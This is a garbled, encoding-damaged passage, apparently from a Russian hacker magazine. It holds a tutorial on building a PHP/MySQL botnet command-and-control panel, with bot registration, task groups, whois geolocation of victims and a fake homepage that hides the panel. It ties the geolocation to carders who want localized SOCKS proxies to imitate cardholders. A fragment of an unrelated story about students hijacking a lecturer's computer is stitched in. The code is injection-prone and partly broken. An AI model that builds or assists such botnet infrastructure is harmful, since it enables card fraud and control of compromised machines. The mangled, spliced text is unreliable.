ïîëíÿþò íåîáÿçàòåëüíîå ïîëå user-agent) è ïîêàçûâàòü îáûêíîâåííîìó ïîñå-
òèòåëþ ÷òî-òî âåñüìà ìèðîëþáèâîå, âðîäå «äîìàøíåé ñòðàíèöû Ïåòðîâà Âà-
íè, ñòóäåíòà ÄîíÒó», èëè è âîâñå «403-Forbidden». Çàïàëèòü òàêîé ñåðâèñ ñíà-
ðóæè íåðåàëüíî, îäíàêî èñïîëüçîâàòü áåñïëàòíûé õîñòèíã òîæå íå ñîâåòóþ �
àäìèí ëåãêî çàìåòèò ðåñóðñ ñ áîëüøîé «ïîñåùàåìîñòüþ» è ïðèêðîåò ëàâî÷êó,
äà è âîçìîæíîñòåé äëÿ òåõíè÷åñêèõ ìàíåâðîâ, î êîòîðûõ ìû ïîãîâîðèì íèæå,
ïðàêòè÷åñêè íåò. Âñå-òàêè ëó÷øå èñïîëüçîâàòü ñîáñòâåííóþ ïëîùàäêó.
Íó, ñêîëüêî ïëþñîâ íàñ÷èòàë? ß øåñòü. Õîòÿ åñëè ïðèãëÿäåòüñÿ, â êàæäîì
ïóíêòå ïî ïÿòü ïîäïóíêòîâ. È ýòîò ñïèñîê ìîæíî áåñêîíå÷íî ïðîäîëæàòü, â
ðåçóëüòàòå ÷åãî ñòàíîâèòñÿ âñå î÷åâèäíåé: óïðàâëåíèå ïî http � ëó÷øàÿ
êîíöåïöèÿ. Íó, à ðàç ëó÷øàÿ, áóäåì åå ðåàëèçîâûâàòü.

[ñòðóêòóðà ñèñòåìû è ïðèíöèïû ðàáîòû] Ñîáñòâåííî, óïðàâëÿþ-
ùàÿ ñèñòåìà, êîòîðóþ ìû ïèøåì, áóäåò ñîñòîÿòü èç ãëàâíîãî ñöåíàðèÿ,
õðàíèëèùà äàííûõ, à òàêæå íåñêîëüêèõ âñïîìîãàòåëüíûõ ïðîãðàìì. ×òî
êàñàåòñÿ ÿçûêà ïðîãðàììèðîâàíèÿ, òî ìû áóäåì èñïîëüçîâàòü ïðèâû÷íûé
PHP, õîòÿ íóæíî îòìåòèòü, ÷òî ïðè æåëàíèè âñå òî æå ñàìîå ìîæíî ïåðå-
ïèñàòü íà ëþáîì ïðèãîäíîì äëÿ web-ñðåäû ÿçûêå. Óïðàâëÿþùàÿ èíôîðìà-
öèÿ î áîòàõ, â ïðèíöèïå, ìîæåò ðàçìåùàòüñÿ, ãäå óãîäíî: âî âíåøíåì xml-
ôàéëå, sqlite-áàçå, èëè òàáëèöàõ ïîëíîâåñíîãî ñåðâåðà ÁÄ âðîäå mySQL.
Êàê òû óæå äîãàäàëñÿ, ìû áóäåì ïî ïðèâû÷êå èñïîëüçîâàòü ïîñëåäíèé âà-
ðèàíò. ×òî êàñàåòñÿ ñòðóêòóðû òàáëèö, òî ÿ áóäó ïîñëåäîâàòåëüíî èõ îïè-
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socks-ñåðâèñ ó êàðäåðîâ â õîäó

Íà íàøåì äèñêå òû íå íàé-
äåøü 100% äîäåëàííóþ,
êðàñèâóþ, âûëèçàííóþ è
ñâåðõ ôóíêöèîíàëüíóþ
ñèñòåìó äëÿ óïðàâëåíèÿ
áîòàìè. Òàêàÿ øòóêà ñòîèò
êó÷ó äåíåã, è, ÷òîáû íàïè-
ñàòü åå, íóæíî íåìàëî âðå-
ìåíè :). Ïîýòîìó íà äèñêå
òû íàéäåøü ñêåëåò ñèñòå-
ìû ñ ðåàëèçîâàííîé îñ-
íîâíîé ôóíêöèîíàëü-
íîñòüþ, íî áåç êðàñèâûõ
èêîíîê è âûëèçàííîãî êîäà.

Íà ñàéòå
www.bantex.ru/html/whois_i
nstal.htm òû íàéäåøü
whois-ñåðâèñ ñ ÷åëîâå÷åñ-
êèì ëèöîì: ïåðëîâûé
ñêðèïò ñàìîñòîÿòåëüíî îï-
ðåäåëÿåò âñþ ãåîãðàôè-
÷åñêóþ èíôîðìàöèþ î
õîñòå è âûâîäèò åå â âèäå
êðàñî÷íîãî ñîîáùåíèÿ ñ
ôëàãîì ñòðàíû.

Ïðè ïåðåäà÷å äëèííûõ
çàïðîñîâ ìåòîäîì GET
ìîãóò âîçíèêíóòü
ñåðüåçíûå ïðîáëåìû �
òåêñò íà÷íåò îáðóáàòüñÿ è
ïåðåäàâàòüñÿ íåêîððåêòíî.
Ñëåäóåò ïîíèìàòü, ÷òî
áîëüøèå îáúåìû äàííûõ
íóæíî ïåðåäàâàòü
POST'îì.



[ó÷åò áîòîâ] Íî, äîâîëüíî ëèðèêè, ïå-
ðåéäåì ê ïðîãðàììèðîâàíèþ :). Äàâàé äëÿ
çàòðàâêè íàïèøåì ôóíêöèþ, êîòîðàÿ áó-
äåò ïðîèçâîäèòü ðåãèñòðàöèþ íîâîãî áîòà
â ñèñòåìå. Â îáùåì-òî, òóò âñå ïðåäåëüíî
ÿñíî è ñâîäèòñÿ ê ñîñòàâëåíèþ íåñëîæíîãî
sql-çàïðîñà:

[ôóíêöèÿ ðåãèñòðàöèè íîâîãî áîòà 
â ñèñòåìå]

function RegBot($id,$ip,&$extend) {
$re=mysql_query("insert into bots
values('$id', '$ip', '$extend')");
return($re);
}

Âûçîâ ýòîé ôóíêöèè îñóùåñòâëÿåòñÿ ïðè óñ-
ëîâèè, ÷òî ñîäåðæèìîå âñåõ ïåðåìåííûõ
êîððåêòíîå (id � ÷èñëî, ip � àäðåñ ipv4,
extand � êîððåêòíûé xml-äîêóìåíò). Íàïè-
ñàòü òàêóþ ïðîâåðêó � äåëî íåñëîæíîå, ïðè-
âîäèòü êîä ÿ çäåñü íå áóäó, ëó÷øå ïîäñìîò-
ðè åãî íà íàøåì äèñêå (ôóíêöèÿ checktype).

[êîìàíäû] Òåïåðü î òîì, êàêèì îáðàçîì
áîòàì áóäóò âûäàâàòüñÿ êîìàíäû. Êàê ÿ
óæå ãîâîðèë, íàøà ñèñòåìà áóäåò ïîääåð-
æèâàòü, ÷òî íàçûâàåòñÿ, èíäèâèäóàëüíûé
ïîäõîä: ðàáîòíè÷êîâ ìîæíî áóäåò îðãàíè-
çîâûâàòü â ãðóïïû è êàæäîé ãðóïïå íàçíà-
÷àòü ñâîå çàäàíèå. Ïðè÷åì ñîçäàíèå ãðóïï
ìîæåò îñóùåñòâëÿòüñÿ êàê ïðè ïîìîùè ÿâ-
íîãî ïåðå÷èñëåíèÿ âõîäÿùèõ òóäà áîòîâ,
òàê è ïðè ïîìîùè íåêîòîðîãî ôèëüòðà.
Äëÿ äàëüíåéøåãî èçëîæåíèÿ ïîòðåáóåòñÿ
åùå îäíà òàáëèöà:

[òàáëèöà wrk_grp]

CREATE TABLE WRK_GRP(
BOT_ID INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
W_ID INT NOT NULL);

Ýòà òàáëèöà áóäåò ðàçáèâàòü ìíîæåñòâî áîòîâ íà òàê íàçûâàåìûå «êîìàí-
äû», äëÿ êàæäîé èç êîòîðûõ ìîæíî áóäåò îðãàíèçîâûâàòü ñîáñòâåííîå çà-
äàíèå. Äîáàâëåíèå áîòà â êîìàíäó ïî èäåíòèôèêàòîðó � äåëî ïëåâîå, ñâî-
äèòñÿ ê ïðîñòîìó ñîñòàâëåíèþ çàïðîñà. Êóäà èíòåðåñíåå âûãëÿäèò ôîðìè-
ðîâàíèå ñïèñêà êîìàíäû ïî ôèëüòðó, ñðåäè ïàðàìåòðîâ êîòîðîãî ïðîñòî
îáÿçàíû áûòü òàêèå ïîëÿ, êàê «ñòðàíà», «øòàò», «ãîðîä» è ò.ä. Çäåñü ìû
ñòàëêèâàåìñÿ ñ ïðîáëåìîé êëàññèôèêàöèè áîòîâ ïî ãåîãðàôè÷åñêîìó
ïðèçíàêó è ÷óòü ïîçæå ÿ ðàññêàæó òåáå, êàê òàêàÿ ïðîáëåìà ðåøàåòñÿ.
×òî êàñàåòñÿ âûäà÷è çàäàíèÿ, òî ýòî ðåàëèçóåòñÿ ÷ðåçâû÷àéíî ïðîñòî.

Ñîçäàåòñÿ åùå îäíà òàáëèöà ñ «çàäàíèÿìè»,
êóäà âáèâàþòñÿ ïàðû «èäåíòèôèêàòîð_ãðóï-
ïû» � «âûïîëíÿåìàÿ êîìàíäà». Êîãäà áîò îá-
ðàùàåòñÿ ê ñêðèïòó, ñöåíàðèé ñìîòðèò, â êà-
êîé ãðóïïå ðàáîòàåò çîìáè, äåëàÿ SELECT
W_ID FROM WRK_GRP WHERE BOT_ID=$id.
Çàòåì àíàëîãè÷íûì çàïðîñîì èç òàáëèöû ñ çà-
äàíèÿìè âûáèðàåòñÿ êîìàíäà äëÿ ýòîãî áîòà è
ïîìåùàåòñÿ â ñòàíäàðòíûé ïîòîê âûâîäà. Òå-
ïåðü ðàññêàæó î òîì, êàê ìîæíî îïðåäåëèòü
ãåîãðàôè÷åñêîå ïîëîæåíèå áîòà.

[óðîê ãåîãðàôèè] Êàê òû óæå ïîíÿë, ïðè äî-
áàâëåíèè â òàáëèöó bots èíôîðìàöèè î íîâîì
áîòå, çàïèñûâàåòñÿ è ip-àäðåñ õîñòà. Íàïðàøè-
âàåòñÿ âîïðîñ: à ìîæíî ëè, è, åñëè ìîæíî, òî ñ
êàêîé òî÷íîñòüþ, îïðåäåëèòü ìåñòîïîëîæåíèå
êëèåíòà?
Áûëî áû âåñüìà êñòàòè íàó÷èòüñÿ ýòî äåëàòü,
âåäü ëþáîìó êàðäåðó î÷åíü íóæíû ëîêàëèçî-
âàííûå ñîêñû, ÷òîáû ïðàâäîïîäîáíî èìèòèðî-
âàòü òðàíçàêöèè âëàäåëüöåâ êðåäèòíûõ êàðò.
Åñëè êëèåíò íå èñïîëüçóåò vpn-òóííåëåé è ïðî-
÷åé àíîíèìíîé áîäÿãè, òî ïî åãî ðîäíîìó àäðå-
ñó ìîæíî óêàçàòü íà ãåîãðàôè÷åñêîå ðàñïîëî-
æåíèå. Ñäåëàòü ýòî ñîâñåì íåñëîæíî, âáèâ àé-
ïèøíèê â ñîîòâåòñòâóþùóþ ôîðìó íà
www.nic.ru/whois. Îäíàêî ñàì ïîíèìàåøü, ÷òî
îñóùåñòâëÿòü ðóêàìè ïîèñê äëÿ êàæäîãî èç òû-
ñÿ÷ áîòîâ � çàíÿòèå ìàëî ñîâìåñòèìîå ñ ïñèõè-
÷åñêèì çäîðîâüåì. Ïîýòîìó, ðàçóìååòñÿ, ìû íà-
ó÷èìñÿ îïðåäåëÿòü ðàñïîëîæåíèå êëèåíòà àâòî-
ìàòè÷åñêè, ïðè ïîìîùè ñïåöèàëüíîãî ñêðèïòà. 
Âîîáùå ãîâîðÿ, íàøà çàäà÷à íà áëèæàéøèå 20
ìèíóò çàêëþ÷àåòñÿ â ñëåäóþùåì. Íóæíî íàïè-
ñàòü ôóíêöèþ, êîòîðàÿ ïî ïåðåäàâàåìîìó åé
ip-àäðåñó èçâëåêàëà áû ìàêñèìóì èíôîðìà-
öèè î ãåîãðàôè÷åñêîì ðàñïîëîæåíèè ýòîé òî÷-
êè. Ñäåëàòü ýòî ìîæíî íåñêîëüêèìè ñïîñîáà-

ìè: èñïîëüçîâàòü ñåòåâûå ôóíêöèè äëÿ ðàáîòû ñ whois-ñåðâèñîì, èñïîëü-
çîâàòü îäèí èç web-ãåéòîâ, èëè âîâñå � çàþçàòü ñòàíäàðòíóþ þíèêñîâóþ
ïðîãðàììó whois. Íà ñàìîì äåëå, ýòî ñîâåðøåííî íåâàæíî, êàêèì îáðàçîì
ïîëó÷àòü äàííûå èç whois, ïîýòîìó ÿ, ÷òîáû íå íàãðîìîæäàòü êîäà, áóäó èñ-
ïîëüçîâàòü ñòàíäàðòíóþ óòèëèòó whois èç ïîñòàâêè unix. Âîîáùå, êîíöåï-
öèÿ çäåñü ñëåäóþùàÿ. Ïîëó÷àåòñÿ ïîëíûé whois-îòâåò ïî êîíêðåòíîìó àä-
ðåñó è çàòåì èç íåãî âûáèðàþòñÿ íåîáõîäèìûå ïîëÿ: Country, City,
StateProv, PostalCode, NetRange, address. Äëÿ çàïèñè è õðàíåíèÿ ýòîé èí-
ôîðìàöèè íàì ïîòðåáóåòñÿ åùå îäíà òàáëèöà, êîòîðóþ ÿ íàçâàë locations:

[ñòðóêòóðà òàáëèöû locations]

CREATE TABLE LOCATIONS(
FROM_IP INT NOT NULL PRIMARY KEY,
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| ÇÇÀÙÈÙÀÅÌ ÑÑÂÎÉ ÁÁÎÒÍÅÒ ||
Ôàêòè÷åñêè çàùèòà áîòíåòà ñâîäèòñÿ ê çàùèòå òâîåãî ñåðâå-
ðà. Èìåííî ïî ýòîé ïðè÷èíå íå ðåêîìåíäóåòñÿ äåðæàòü áîòîâ
íà õàëÿâíûõ õîñòèíãàõ, ÷èòàòü íîâîñòíûå ëåíòû è ïðîÿâëÿòü
ïðîôåññèîíàëèçì ïðè àäìèíèñòðèðîâàíèè ñåðâåðà.
Òåïåðü ðàññêàæó î òîì, êàê ìîæíî çàìàñêèðîâàòü áîòíåò, ÷òî-
áû åãî íå áûëî âèäíî ñíàðóæè. Äàâàé ïîäóìàåì, êàê òâîé
ñåðâèñ ìîãóò çàïàëèòü. Íó, ñêàæåì, êàêîé-òî êðóòîé ïîëüçî-
âàòåëü âñå-òàêè çàìåòèë ðàáîòó âèðóñà è ðàçãàäàë, ê êàêîìó
óçëó îí ïîäêëþ÷àåòñÿ. Åñòåñòâåííî, ÷òî îí òóò æå íàáåðåò â
àäðåñíîé ñòðîêå URL óïðàâëÿþùåãî ñêðèïòà è áóäåò îæèäàòü
òàì plaintext-êîìàíäó. Íî íå òóò-òî áûëî!
Â ãëàâíîì ñêðèïòå ìû áóäåì îñóùåñòâëÿòü ïðîâåðêó íà êîð-
ðåêòíîñòü îáðàùåíèÿ ê ñöåíàðèþ. Îáðàòè âíèìàíèå, âñå áîòû
ïðè âûçîâå ñêðèïòà ñîáëþäàþò îäíè è òå æå ïðàâèëà: ïåðåäà-
þò 2 ïåðåìåííûå ÷åðåç GET-çàïðîñ (id è extend), ïðè ýòîì íå
çàïîëíÿþò ïîëå user-agent. Ïî ýòèì äâóì êðèòåðèÿì ìîæíî
ëåãêî îòäåëèòü ðåàëüíûõ áîòîâ îò ëåâûõ ïîñåòèòåëåé, êîòî-
ðûå ïðîñòî íàáðàëè â àäðåñíîé ñòðîêå URL óïðàâëÿþùåãî
ñêðèïòà. Âîò êàê ýòî âûãëÿäèò ïðèìåðíî:

if(!checktype($_GET[id], "id") or !checktype($_GET[extend], "extend")) {
# òóò ñîäåðæèìîå ñòðàíèöû, êîòîðóþ íàäî ïîêàçûâàòü âñåì ëåâàêàì
echo "Äîáðî ïîæàëîâàòü íà ñàéò Ïåòðà Âàñèëüåâà. Ìíå 16 ëåò,
ó÷óñü â äåñÿòîì êëàññå.";
} else {
# òóò � ðàáîòà ñ áîòîì. Âûçîâ ôóíêöèé AddBot(), GetWork() è ò.ä.
}

Ôóíêöèÿ checktype çäåñü � ïðîñòî áëîê êîäà, êîòîðûé ïðîâå-
ðÿåò ïåðåäàâàåìóþ ñòðîêó íà ñîîòâåòñòâèå íàøèì ñîáñòâåí-
íûì òèïàì «id» è «extend». Äàæå åñëè ÷óâàê ñî ñòîðîíû ïîé-
ìåò, ÷òî ñòðàíèöà, êîòîðóþ îí âèäèò � ôýéê, òî îí íèêîãäà â
æèçíè íå âêóðèò, êàêèå èìåííî ïåðåìåííûå è â êàêîì ôîðìà-
òå íóæíî ïåðåäàòü ñêðèïòó, ÷òîáû îí çàðàáîòàë ñ íèì òàêæå,
êàê ðàáîòàåò ñ áîòàìè. Îäíàêî âñå ýòî åìó íå ïîòðåáóåòñÿ, åñ-
ëè ïðîöåññ ïåðåäà÷è èíôîðìàöèè íå áóäåò íèêàê çàùèùåí �
ñòîèò òîëüêî îòñíèôàòü plain-text çàïðîñû è îòâåòû, êàê âñå
ñòàíåò ïîíÿòíî. Ïî ýòîé ïðè÷èíå äëÿ ÿðîñòíûõ ïàðàíîèêîâ ìî-
ãó ïîñîâåòîâàòü èñïîëüçîâàòü SSL-øèôðîâàíèå òðàôèêà :).

ðåçóëüòàò whois-çàïðîñà, ïîëó÷åííûé óòèëèòîé whois



TO_IP INT NOT NULL,
COUNTRY VARCHAR(2),
CITY VARCHAR(50),
STATEPROV VARCHAR(2),
POSTAL VARCHAR(8),
ADDRESS VARCHAR(100));

Çäåñü èñïîëüçóåòñÿ, íà ñàìîì äåëå,
êîíöåïöèÿ êåøèðîâàíèÿ çàïðîñîâ:
âåäü, ïîëó÷èâ îäèí ðàç èíôîðìàöèþ
îá àäðåñàõ îïðåäåëåííîé ñåòè, ãëó-
ïî çàïèñûâàòü â òàáëèöó ëèøü îäèí
àäðåñ, âïîëíå âåðîÿòíî, ÷òî âñêîðå
íàäî áóäåò ïðîâåðèòü åùå îäíó ìà-
øèíó èç ýòîé æå îáëàñòè. Ïîýòîìó
âìåñòî èíòóèòèâíî îæèäàåìîãî ïîëÿ
"IP" ÿ èñïîëüçóþ äâà: "FROM_IP" è
"TO_IP", ýòè ïàðàìåòðû îïðåäåëÿþò
çàðåçåðâèðîâàííûé äëÿ ñåòè ïðîìå-
æóòîê àäðåñîâ, êîòîðûé ïîëó÷àåòñÿ
èç ïàðàìåòðà netrange.
Òàêîå êýøèðîâàíèå ïîçâîëÿåò îïòèìèçè-
ðîâàòü ïðîöåññ îïðåäåëåíèÿ ìåñòîïîëî-
æåíèÿ êëèåíòîâ. ×òîáû íå áûòü ãîëîñëîâ-
íûì, ïðèâåäó ïîñêèïàííûé ïðèìåð êîäà:

[îïðåäåëåíèå ãåîãðàôèè 
êëèåíòà ïî ip]

$fp = popen('whois $ip, 'r'); # îòêðûâàåì ïàéï ñ ïðîöåññîì
$read = fread($fp, 20480); # ÷èòàåì ïîòîê âûâîäà
$li=explode("\n", $read);
pclose($fp);
$not=0;
for($i=0; $i<count($li); $i++) { # â öèêëå ïî âñåì ñòðîêàì
if(ereg("^OrgName:    RIPE Network Coordination Centre",$li[$i]))
{$not=1;} # $not � ôëàã òîãî, ÷òî èíôîðìàöèÿ îá àäðåñå íàõîäèòñÿ íà 
# äðóãîì ñåðâåðå è áóäåò èñïîëüçîâàí íåñêîëüêî èíîé ôîðìàò äàííûõ
if(ereg("^[c|C]ountry:[ ]{0,10}([[:upper:]]{2})",$li[$i], $ar)){
$country=$ar[1]; # Èçâëåêàåì èíôîðìàöèþ î ñòðàíå � äâóçíà÷íûé êîä
}
if(ereg("^City:[ ]{0,10}([[:alpha:]]{1,30})",$li[$i], $ar)) {
if($not==0) $city=$ar[1]; 
# î ãîðîäå (÷àñòî âìåñòî ýòîãî ïîëÿ èñïîëüçóåòñÿ address)
}
if(ereg("^StateProv:[ ]{0,10}([[:alpha:]]{2})",$li[$i], $ar)) {
$state=$ar[1]; # øòàò
}
if(ereg("^PostalCode:[ ]{0,10}([[:alnum:]]{0,8})",$li[$i], $ar)) {
$post=$ar[1]; # èíäåêñ
}
if(ereg("^NetRange:[ ]{0,10}([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}.[0-9]{1,3}) �
([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}.[0-9]{1,3})",$li[$i], $ar)) {
$ip_from=$ar[1];
$ip_to=$ar[2]; # äèàïàçîí àäðåñîâ
}
if(ereg("^inetnum:[ ]{0,10}([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}.[0-9]{1,3}) �
([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}.[0-9]{1,3})",$li[$i], $ar)) {
$ip_from=$ar[1];
$ip_to=$ar[2];
}
if(ereg("^[a|A]ddress:[ ]{0,10}(.{0,80})",$li[$i], $ar)) {
$addr.=$ar[1]."\n"; # Àäðåñ (â ñëó÷àå äëÿ íå àìåðèêàíñêîãî ip)
}}
mysql_query("insert into locations('$ip_from', '$ip_to', '$country', '$city',
'$state', '$post', '$addr')"); # çàïèñûâàåì èíôîðìàöèþ î äèàïàçîíå

Çäåñü ìû îòêðûâàåì ïàéï ê ñîçäàííîìó íàìè ïðîöåññó whois $ip è ÷èòàåì â
ïåðåìåííóþ $read ðåçóëüòàò ðàáîòû ýòîé óòèëèòû. Çàòåì ïðîõîäèì ïî êàæäîé
ñòðîêå ðåçóëüòàòà è ïðè ïîìîùè íàáîðà ðåãóëÿðíûõ âûðàæåíèé ïîëó÷àåì èí-
òåðåñóþùèå íàñ ïîëÿ ñ èíôîðìàöèåé. Ïîêàæó íà ïðèìåðå êàê ðàáîòàþò
ýòè ðåãóëÿðíûå âûðàæåíèÿ. Âîçüìåì, ê ïðèìåðó, âûçîâ ereg("^City:[
]{0,10}([[:alpha:]]{1,30})",$li[$i], $ar). Ýòîìó øàáëîíó ñîîòâåòñòâóþò âñå ñòðîêè,
êîòîðûå íà÷èíàþòñÿ ñî ñëîâà «City:» (ñèìâîë ̂  ïåðåä ýòîé öåïî÷êîé), ïîñëå êî-
òîðîãî îáÿçàòåëüíî èäåò îò íóëÿ äî 10 ïðîáåëîâ, à çàòåì ïîñëåäîâàòåëüíîñòü
èç áóêâ ([[:alpha:]]) äëèíîé îò 1 äî 30 ñèìâîëîâ ({1,30}). Îáðàòè âíèìàíèå, ÷òî
êîíñòðóêöèÿ [[:alpha:]]{1,30} âçÿòà â êðóãëûå ñêîáêè, ýòî îçíà÷àåò, ÷òî âñå ñîâ-

ïàäàþùèå ñ ýòèì øàáëîíîâ ñòðîêè
áóäóò ïîìåùàòüñÿ â ìàññèâ $ar.
Êàê ðàç ïîýòîìó ÿ ïðèñâàèâàþ ïå-
ðåìåííîé $city çíà÷åíèå $ar[1].
Êîãäà ÿ ïèñàë ýòó ïðîãðàììó, ó ìå-
íÿ âîçíèêëà ïðîáëåìà: èíôîðìàöèÿ
î ðàçëè÷íûõ àäðåñàõ âîçâðàùàëàñü
â ðàçíûõ ôîðìàòàõ. Âñå äåëî â òîì,
÷òî â çàâèñèìîñòè îò òåððèòîðèàëü-
íîé ïðèâÿçêè, èíôîðìàöèÿ îá àäðå-
ñàõ õðàíèòñÿ â ðàçëè÷íûõ îðãàíèçà-
öèÿõ è ïî÷åìó-òî íå ñîáëþäàåòñÿ
åäèíûé ñòàíäàðò. ß íå áîëüøîé
çíàòîê ñëóæáû whois, íî ìåíÿ ýòî
ïîðÿäêîì óäèâèëî. Ê ïðèìåðó, åñëè
ñäåëàòü whois 207.46.130.108, òî ïî-
ëå ñî ñòðàíîé áóäåò íàçûâàòüñÿ
«Country», à åñëè whois 217.10.40.1, òî
«country» � ñ ìàëåíüêîé áóêâû.
Èìåííî ïî ýòîé ïðè÷èíå ðÿä øàáëî-
íîâ íà÷èíàþòñÿ êàê [c|C]ountry,
çäåñü ñèìâîë âåðòèêàëüíîé ÷åðòû
îáîçíà÷àåò ëîãè÷åñêîå "or".
Â ïîñëåäíåé ñòðî÷êå íàïå÷àòàí-
íîãî êîäà ïðîèñõîäèò çàïèñü èí-
ôîðìàöèè î ñåòåâîì äèàïàçîíå â
òàáëèöó locations.

[âûâîäû] ß ðàññêàçàë òåáå î
êëþ÷åâûõ ìîìåíòàõ ñîçäàíèÿ ñèñòåìû óïðàâëåíèÿ áîòàìè. Òû óæå âïîëíå
ìîæåøü ñàì íàïèñàòü ïðîñòåíüêèé ñöåíàðèé ñ ìèíèìóìîì âîçìîæíîñòåé.
Îäíàêî ÿ òàêæå ïîêàçàë òåáå, êàê ïðèêðóòèòü ê ñèñòåìå îïðåäåëåíèå ãåîã-
ðàôèè ïîëüçîâàòåëÿ, êàê ðåàëèçîâàòü ñáîð è õðàíåíèå íåêîòîðûõ ñâîéñòâ
áîòà, êàêèì îáðàçîì óäîáíåå îáúåäèíÿòü áîòîâ â ðàçëè÷íûå ãðóïïû. Ïî
áîëüøîìó ñ÷åòó, âñå ñàìîå ãëàâíîå ÿ òåáå ðàññêàçàë. Îñòàëîñü ëèøü ðåà-
ëèçîâàòü âîçìîæíîñòü ôèëüòðàöèè áîòîâ ïî ïàðàìåòðàì (ñêàæåì, ïî ñòðà-
íå èëè ãîðîäó), à òàêæå ïî ïåðåäàâàåìûì ñàìèì òðîÿíîì ñâîéñòâàì áîòà
(÷àñòîòà ïðîöåññîðà, ñåðûé/áåëûé àäðåñ, îáúåì æåñòêîãî äèñêà è ò.ä.). Âñå
ýòî äåëàåòñÿ ýëåìåíòàðíî � ïðîñòåéøèìè ìàíèïóëÿöèÿìè ñ sql-çàïðîñà-
ìè è îáðàáîòêîé xml-äîêóìåíòîâ. È î òîì, è î äðóãîì ìû ñ òîáîé óæå ìíî-
ãî ðàç ïîäðîáíî ãîâîðèëè, ïîýòîìó ïðîáëåì ó òåáÿ âîçíèêíóòü íå äîëæíî.
Â ëþáîì ñëó÷àå òû âñåãäà ìîæåøü îáðàòèòüñÿ íà íàø äèñê è ïîñìîòðåòü,
êàê ýòî íàïèñàë ÿ. Óäà÷è

ñîçäàíèå è òåñòèðîâàíèå ñêðèïòà äëÿ îïðåäåëåíèÿ ãåîãðàôèè
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ôîêóñû â ñåòêå, ïîäøó÷èâàÿ íàä îäíîãðóïïíèêàìè è ïðåïîäàìè. Íàï-
ðèìåð, îäíàæäû ïîäáðîñèëè ïîðíîãðàôè÷åñêóþ êàðòèíêó íà âîëïà-
ïåð àäìèíñêîé ìàøèíû, ÷àñòî áðàëè óïðàâëåíèå íàä êîìïîì îäíîãî
èç ñòóäåíòîâ, çàïóñêàÿ òàì âñåâîçìîæíûå ïðèëîæåíèÿ. Çà âðåìÿ,
ïðîâåäåííîå â ëîêàëüíîé ñåòè èíñòèòóòà, ãðóïïå Slow óäàëîñü íàéòè
ñòîëüêî äûðîê, ñêîëüêî âðÿä ëè îòûùåòñÿ âî âñåé âèíäå. Íî íè ðàçó
õàêåðîâ íå óäàâàëîñü âû÷èñëèòü � îíè âñåãäà ñèäåëè âìåñòå â ñà-
ìîì îòäåëåííîì óãëó è, ïðîâåðíóâ øóòêó, çàìåòàëè ñëåäû.
Ðîìà çàøåë â ñêðûòóþ äèðåêòîðèþ, ñîäåðæàùóþ çàøèôðîâàí-
íûé àðõèâ, ðàñïàêîâàë åãî è çàïóñòèë íóæíóþ óòèëèòó. Íà êîìïü-
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ÒÎÍÍÛÌ ÃÎËÎÑÎÌ ÄÈÊÒÎÂÀËÀ ÌÀÒÅÐÈÀË, È ÐÎÌÅ
ÊÀÇÀËÎÑÜ, ×ÒÎ ÎÍÀ ÂÎÒ-ÂÎÒ ÇÀÑÍÅÒ, ÊÀÊ È ÁÎËÜ-
ØÈÍÑÒÂÎ ÑÒÓÄÅÍÒÎÂ Â ÀÓÄÈÒÎÐÈÈ. ÊÎÌÓ, Â ÑÀ-
ÌÎÌ ÄÅËÅ, ÍÓÆÅÍ ÝÒÎÒ ÏÀÑÊÀËÜÍÛÉ ÁÐÅÄ? ×È-
ÒÀÒÜ ÅÃÎ Â ØÊÎËÅ ÍÀ ÈÍÔÎÐÌÀÒÈÊÅ � ÅÙÅ ÊÓÄÀ
ÍÈ ØËÎ, ÍÎ Â ÌÒÓ ÍÀ ÔÀÊÓËÜÒÅÒÅ, ÃÎÒÎÂÈÂØÈÌ
ÑÅÒÅÂÛÕ ÑÏÅÖÎÂ�» | mindw0rk (mindw0rk@gameland.ru)

Ïðèÿòåëè, ñèäÿùèå ðÿäîì îòêðîâåííî ñêó÷à-
ëè. Ñàíÿ Major âûðàçèòåëüíî çåâíóë è ïëþõ-
íóëñÿ íîñîì â êîíñïåêò. Âèòàëèê âûðèñîâû-
âàë äðàêîí÷èêà. À Àíäðþõà Groove ÷èòàë
êíèæêó Ãèáñîíà â îðèãèíàëå. Ê îáëåã÷åíèþ
ñòóäåíòîâ, áåñïîëåçíàÿ ëåêöèÿ ïðîäîëæà-
ëàñü íåäîëãî, è âñêîðå âñåì áûëî ðàçðåøåíî
óñâîèòü ìàòåðèàë çà êîìïüþòåðàìè. Ðîìà
ïîäìèãíóë Âèòàëèêó, è òîò ïîíèìàþùå êèâ-
íóë. Ïàðíè ÷àñòåíüêî âûêèäûâàëè ðàçíûåÞ
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þòåðå ïîÿâèëàñü îáîëî÷êà ñ êîìàíäíîé ñòðîêîé, â êîòîðîé ñ ïî-
ðàçèòåëüíîé ñêîðîñòüþ ïîÿâëÿëèñü êîìàíäû, îòáèâàåìûå ïàëü-
öàìè õàêåðà. ×åðåç íåñêîëüêî ñåêóíä Ðîìà óæå áûë íà àäìèíñ-
êîì êîìïüþòåðå. Âñòàâèâ äèñêåòó ñ ôðàãìåíòîì ïåñíè Ïîðíîðýï
«Àòû-Áàòû», îí ñêîïèðîâàë åå ñíà÷àëà íà ñâîé êîìï, ïîòîì çàëèë
íà êîìï àäìèíà. Îñòàëîñü òîëüêî âðóáèòü ãðîìêîñòü íà ïîëíóþ è
çàïóñòèòü â âèíàìïå ìóçîí.
Â ýòîò ìîìåíò àóäèòîðèÿ âçäðîãíóëà � èç àäìèíñêèõ êîëîíîê ðàç-
äàëñÿ òåêñò, ðàçáàâëåííûé íàïîëîâèíó ìàòîì: «Ìåíÿ ââÿçàëè ñëó-
æèòü â îõ#$ííûé ñòðîéáàò, è ÿ ñðàçó ïîïàë ñ ëîïàòîé â íàðÿä». Ìàð-
òà Ñåðãååâíà ïîáëåäíåëà è, âñêî÷èâ ñî ñâîåãî ñòóëà,
áðîñèëàñü ê êîìïó àäìèíà. Íàéòè, âûêëþ÷èòü â êîëîí-
êàõ çâóê çàíÿëî ó íåå 10 ñåêóíä, â òå÷åíèå êîòîðûõ ðà-
äîñòíî âîçáóæäåííûå ñòóäåíòû óñëûøàëè èç äèíàìè-
êîâ åùå ïà÷êó ìàòåðíûõ ñëîâ.
�Ñåðãåé, òû îõðåíåë? � çàáûâ ïðî ïðèëè÷èÿ, íàêèíó-
